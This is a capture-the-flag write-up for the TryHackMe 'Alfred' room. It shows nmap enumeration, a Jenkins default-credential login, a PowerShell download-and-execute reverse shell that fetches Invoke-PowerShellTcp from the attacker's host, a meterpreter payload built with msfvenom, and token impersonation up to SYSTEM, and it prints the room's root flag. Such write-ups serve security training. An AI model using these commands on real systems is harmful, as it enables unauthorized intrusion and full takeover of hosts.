Writeup for TryHackMe room - Alfred

Alfred

This room contains detailed info about jenkins exploitation and windows privilege escalation methods.

For complete tryhackme path, refer the link.

Tools Used

Enumeration

NMAP

Exploitation

Netcat
Invoke-PowerShellTcp
Msfvenom
Msfconsole

Task 1 - Initial Access

References

Use nmap to enumerate the target machine using nmap -PN -T4 -sS --top-ports 1000 -A <ip>

The output will be similar to

Starting Nmap 7.60 ( https://nmap.org ) at 2021-04-28 06:10 BST
Nmap scan report for <hostname> (<ip>)
Host is up (0.00041s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE    VERSION
80/tcp   open  http       Microsoft IIS httpd 7.5
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Site doesn't have a title (text/html).
3389/tcp open  tcpwrapped
| ssl-cert: Subject: commonName=alfred
| Not valid before: 2021-04-27T04:28:50
|_Not valid after:  2021-10-27T04:28:50
8080/tcp open  http       Jetty 9.4.z-SNAPSHOT
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
MAC Address: 02:A1:17:7C:CE:0B (Unknown)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2008 (90%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 R2 or Windows 8 (90%), Microsoft Windows 7 SP1 (90%), Microsoft Windows 8.1 Update 1 (90%), Microsoft Windows 8.1 R1 (90%), Microsoft Windows Phone 7.5 or 8.0 (90%), Microsoft Windows Server 2008 or 2008 Beta 3 (89%), Microsoft Windows Server 2008 R2 or Windows 8.1 (89%), Microsoft Windows Server 2008 R2 SP1 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE
HOP RTT     ADDRESS
1   0.41 ms <hostname> (<ip>)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.01 seconds

Use firefox to load the url http://<ip>:8080. Try login with default credentials admin:admin for the jenkins page.

The default login works, and superuser privilege in jenkins can be exploited to run native os commands.

Using firefox navigate to project and select configure. Open build which will allow native os commands to be passed on as part of build.

This exploit can be made use of, to create a reverse shell.

Create a netcat listener.

rlwrap -cAr nc -lnvp 443

The output will be similar to

Listening on [0.0.0.0] (family 0, port 443)

Download the Invoke-PowerShellTcp.ps1 script using

wget https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1

Create a local python web server using

python -m http.server 8080

The output will be similar to

Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

Use firefox to paste the following code in jenkins build page.

powershell invoke-expression (New-Object Net.WebClient).DownloadString('http://<source-ip>:8080/Invoke-PowerShellTcp.ps1') ; Invoke-PowerShellTcp -Reverse -IPAddress <source-ip> -Port 443

Check the console on python web server to see if the file is downloaded. The output will be similar to <target-ip> - - [28/Apr/2021 06:39:25] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -.

Execution of the script Invoke-PowerShellTcp.ps1 will create a reverse shell. The output of netcat console will be similar to

Connection from <target-ip> 49257 received!
Windows PowerShell running as user bruce on ALFRED
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Program Files (x86)\Jenkins\workspace\project> whoami
alfred\bruce

PS C:\Program Files (x86)\Jenkins\workspace\project> type "C:\users\bruce\desktop\user.txt"
<flag>>

Task 2 - Switching Shells

Use msfvenom to create a payload which spawns meterpreter shell on msfconsole.

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=<source-ip> LPORT=443 -f exe -o shell.exe

The output will be similar to

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe

Use msfconsole -q to create a meterpreter shell listener.

msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp

msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set LHOST <source-ip>
LHOST => <source-ip>

msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443

msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on <source-ip>:443

Create a local python web server using

python -m http.server 8080

The output will be similar to

Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

From the netcat listener reverse shell, download the shell.exe file which was generated using msfvenom.

powershell "(New-Object System.Net.WebClient).Downloadfile('http://<source-ip>:8080/shell.exe','shell.exe')"

Run the exploit binary using start-process shell.exe. There will be a session opened in meterpreter.

[*] Sending stage (176195 bytes) to 10.10.50.154
[*] Meterpreter session 1 opened (10.10.192.53:443 -> 10.10.50.154:49326) at 2021-04-28 07:37:54 +0100
meterpreter >

Task 3 - Privilege Escalation

References

Windows access token reference
Abusing Token Privileges For LPE
Primary access tokens: those associated with a user account that are generated on log on
Impersonation tokens: these allow a particular process(or thread in a process) to gain access to resources using the token of another (user/client) process

Different levels of impersonation token

SecurityAnonymous: current user/client cannot impersonate another user/client
SecurityIdentification: current user/client can get the identity and privileges of a client, but cannot impersonate the client
SecurityImpersonation: current user/client can impersonate the client’s security context on the local system
SecurityDelegation: current user/client can impersonate the client’s security context on a remote system

Commonly abused privileges

SeImpersonatePrivilege
SeAssignPrimaryPrivilege
SeTcbPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeCreateTokenPrivilege
SeLoadDriverPrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege

From the meterpreter session in msfconsole, check the current privileges.

PS C:\Program Files (x86)\Jenkins\workspace\project> whoami /priv

The output will be similar to

PRIVILEGES INFORMATION

Privilege Name                  Description                               State
=============================== ========================================= ========
SeIncreaseQuotaPrivilege        Adjust memory quotas for a process        Disabled
SeSecurityPrivilege             Manage auditing and security log          Disabled
SeTakeOwnershipPrivilege        Take ownership of files or other objects  Disabled
SeLoadDriverPrivilege           Load and unload device drivers            Disabled
SeSystemProfilePrivilege        Profile system performance                Disabled
SeSystemtimePrivilege           Change the system time                    Disabled
SeProfileSingleProcessPrivilege Profile single process                    Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority              Disabled
SeCreatePagefilePrivilege       Create a pagefile                         Disabled
SeBackupPrivilege               Back up files and directories             Disabled
SeRestorePrivilege              Restore files and directories             Disabled
SeShutdownPrivilege             Shut down the system                      Disabled
SeDebugPrivilege                Debug programs                            Enabled
SeSystemEnvironmentPrivilege    Modify firmware environment values        Disabled
SeChangeNotifyPrivilege         Bypass traverse checking                  Enabled
SeRemoteShutdownPrivilege       Force shutdown from a remote system       Disabled
SeUndockPrivilege               Remove computer from docking station      Disabled
SeManageVolumePrivilege         Perform volume maintenance tasks          Disabled
SeImpersonatePrivilege          Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege         Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege   Increase a process working set            Disabled
SeTimeZonePrivilege             Change the time zone                      Disabled
SeCreateSymbolicLinkPrivilege   Create symbolic links                     Disabled

Background the current meterpreter session.

C:\Program Files (x86)\Jenkins\workspace\project>^Z
Background channel 1? [y/N]  y

Load incognito mode.

meterpreter > load incognito
Loading extension incognito...Success.

List the currently avilable tokens in meterpreter shell.

meterpreter > list_tokens -g
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
            Call rev2self if primary process token is SYSTEM

Delegation Tokens Available
\
BUILTIN\Administrators
BUILTIN\IIS_IUSRS
BUILTIN\Users
NT AUTHORITY\Authenticated Users
NT AUTHORITY\NTLM Authentication
NT AUTHORITY\SERVICE
NT AUTHORITY\This Organization
NT AUTHORITY\WRITE RESTRICTED
NT SERVICE\AppHostSvc
NT SERVICE\AudioEndpointBuilder
NT SERVICE\BFE
NT SERVICE\CertPropSvc
NT SERVICE\CscService
NT SERVICE\Dnscache
NT SERVICE\eventlog
NT SERVICE\EventSystem
NT SERVICE\FDResPub
NT SERVICE\iphlpsvc
NT SERVICE\LanmanServer
NT SERVICE\MMCSS
NT SERVICE\PcaSvc
NT SERVICE\PlugPlay
NT SERVICE\RpcEptMapper
NT SERVICE\Schedule
NT SERVICE\SENS
NT SERVICE\SessionEnv
NT SERVICE\Spooler
NT SERVICE\TrkWks
NT SERVICE\TrustedInstaller
NT SERVICE\UmRdpService
NT SERVICE\UxSms
NT SERVICE\Winmgmt
NT SERVICE\WSearch
NT SERVICE\wuauserv

Impersonation Tokens Available
NT AUTHORITY\NETWORK
NT SERVICE\AudioSrv
NT SERVICE\CryptSvc
NT SERVICE\DcomLaunch
NT SERVICE\Dhcp
NT SERVICE\DPS
NT SERVICE\LanmanWorkstation
NT SERVICE\lmhosts
NT SERVICE\MpsSvc
NT SERVICE\netprofm
NT SERVICE\NlaSvc
NT SERVICE\nsi
NT SERVICE\PolicyAgent
NT SERVICE\Power
NT SERVICE\ShellHWDetection
NT SERVICE\TermService
NT SERVICE\W32Time
NT SERVICE\WdiServiceHost
NT SERVICE\WinHttpAutoProxySvc
NT SERVICE\wscsvc

Impersonate using administrator token.

meterpreter > impersonate_token "BUILTIN\Administrators"
[-] Warning: Not currently running as SYSTEM, not all tokens will be available
            Call rev2self if primary process token is SYSTEM
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Check the current list of processes.

meterpreter > ps

Process List

PID   PPID  Name                  Arch  Session  User                          Path
---   ----  ----                  ----  -------  ----                          ----
0     0     [System Process]
4     0     System                x64   0
396   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\smss.exe
524   516   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
572   564   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\csrss.exe
580   516   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\wininit.exe
608   564   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\winlogon.exe
668   580   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\services.exe
676   580   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsass.exe
684   580   lsm.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\lsm.exe
772   668   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
848   668   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
916   668   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
920   608   LogonUI.exe           x64   1        NT AUTHORITY\SYSTEM           C:\Windows\System32\LogonUI.exe
936   668   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
992   668   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
1016  668   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
1064  668   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
1112  2056  powershell.exe        x86   0        alfred\bruce                  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
1212  668   spoolsv.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
1240  668   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
1356  668   amazon-ssm-agent.exe  x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
1420  668   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
1448  668   LiteAgent.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\Xentools\LiteAgent.exe
1476  668   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    C:\Windows\System32\svchost.exe
1620  668   jenkins.exe           x64   0        alfred\bruce                  C:\Program Files (x86)\Jenkins\jenkins.exe
1704  668   TrustedInstaller.exe  x64   0        NT AUTHORITY\SYSTEM           C:\Windows\servicing\TrustedInstaller.exe
1708  668   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\svchost.exe
1712  668   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe
1816  1620  java.exe              x86   0        alfred\bruce                  C:\Program Files (x86)\Jenkins\jre\bin\java.exe
1844  668   Ec2Config.exe         x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\Ec2ConfigService\Ec2Config.exe
1936  524   conhost.exe           x64   0        alfred\bruce                  C:\Windows\System32\conhost.exe
2056  1816  cmd.exe               x86   0        alfred\bruce                  C:\Windows\SysWOW64\cmd.exe
2064  1112  shell.exe             x86   0        alfred\bruce                  C:\Program Files (x86)\Jenkins\workspace\project\shell.exe
2364  772   WmiPrvSE.exe          x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\wbem\WmiPrvSE.exe
2668  2064  cmd.exe               x86   0        alfred\bruce                  C:\Windows\SysWOW64\cmd.exe
2840  524   conhost.exe           x64   0        alfred\bruce                  C:\Windows\System32\conhost.exe
2880  524   conhost.exe           x64   0        alfred\bruce                  C:\Windows\System32\conhost.exe
2988  668   sppsvc.exe            x64   0        NT AUTHORITY\NETWORK SERVICE  C:\Windows\System32\sppsvc.exe
3016  668   SearchIndexer.exe     x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\SearchIndexer.exe
3068  668   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\svchost.exe

Migrate to services.exe process id and get the flag.

meterpreter > migrate 668
[*] Migrating from 2064 to 668...
[*] Migration completed successfully.

meterpreter > cat "C:\Windows\System32\config\root.txt"
dff0f748678f280250f25a45b8046b4a

Writeup for TryHackMe room - Alfred

Alfred

Tools Used

Enumeration

Exploitation

Task 1 - Initial Access

References

Task 2 - Switching Shells

Task 3 - Privilege Escalation

References

Further Reading

Writeup for TryHackMe room - Blue

Writeup for TryHackMe room - Steel Mountain

Writeup for TryHackMe room - HackPark

Trending Tags